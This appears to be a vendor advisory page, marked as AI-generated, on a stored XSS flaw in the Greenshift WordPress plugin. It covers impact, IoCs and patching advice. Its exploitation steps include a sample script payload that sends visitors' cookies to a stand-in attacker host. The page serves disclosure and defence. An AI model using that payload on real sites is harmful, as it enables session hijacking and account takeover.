CVE-2026-2593
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2593 is a Stored Cross-Site Scripting (XSS) vulnerability in the Greenshift – Animation and Page Builder Blocks plugin for WordPress. It affects all versions up to and including 12.8.5, and was published on March 5, 2026. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages that execute when any user visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is insufficient input sanitization and output escaping (CWE-79) applied to two specific data points: the _gspb_post_css post meta value and the dynamicAttributes block attribute. An attacker with at least Contributor-level WordPress access can craft malicious content in these fields, which is then stored in the database and rendered unsanitized in page output. Vulnerable code paths have been identified in init.php (lines 2110 and 2138) and blockrender/element/block.php (line 660) of the plugin (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript that executes in the browsers of any user — including administrators — who visit the compromised page. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.03%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Greenshift – Animation and Page Builder Blocks plugin at version 12.8.5 or earlier using tools like WPScan or by inspecting page source for plugin-specific assets.
  2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges (e.g., via credential stuffing, phishing, or open registration).
  3. Inject malicious payload via post meta: When creating or editing a post, manipulate the _gspb_post_css post meta field to include a malicious <script> payload (e.g., </style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Inject via block attribute: Alternatively, embed a malicious value in the dynamicAttributes block attribute of a Greenshift block within the post editor.
  5. Publish the page: Submit the post for review or publish it directly. The malicious script is stored in the database without proper sanitization.
  6. Trigger execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further site compromise (Wordfence, WordPress Trac).

Indicators of compromise

  • Database: Unexpected <script> tags or JavaScript event handlers stored in the _gspb_post_css post meta field or within Greenshift block dynamicAttributes values in the WordPress wp_postmeta or wp_posts tables.
  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) from Contributor-level accounts containing encoded script payloads in body parameters.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing Greenshift blocks (indicative of data exfiltration via injected scripts).
  • File System: No direct file system artifacts expected for stored XSS, but monitor for new or modified PHP files in the plugin directory (/wp-content/plugins/greenshift-animation-and-page-builder-blocks/) that may indicate follow-on compromise.
  • User Activity: Unusual post edits or new posts created by Contributor-level accounts containing obfuscated JavaScript strings in CSS or block attribute fields (Wordfence).

Mitigation and workarounds

Update the Greenshift – Animation and Page Builder Blocks plugin to version 12.8.6 or later, which addresses the insufficient sanitization and escaping issues. As an interim measure, restrict Contributor-level user registration and review existing Contributor accounts for suspicious post content. Site administrators should audit the _gspb_post_css post meta values and Greenshift block attributes in existing posts for injected scripts. A Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth while patching is pending (Wordfence, Sucuri Blog).

Community reactions

Wordfence disclosed the vulnerability as part of their standard WordPress plugin threat intelligence reporting, and it was included in Sucuri's March 2026 vulnerability patch roundup, indicating routine coverage within the WordPress security community (Sucuri Blog, Wordfence). No notable researcher commentary, social media controversy, or significant media coverage beyond standard vulnerability aggregation has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management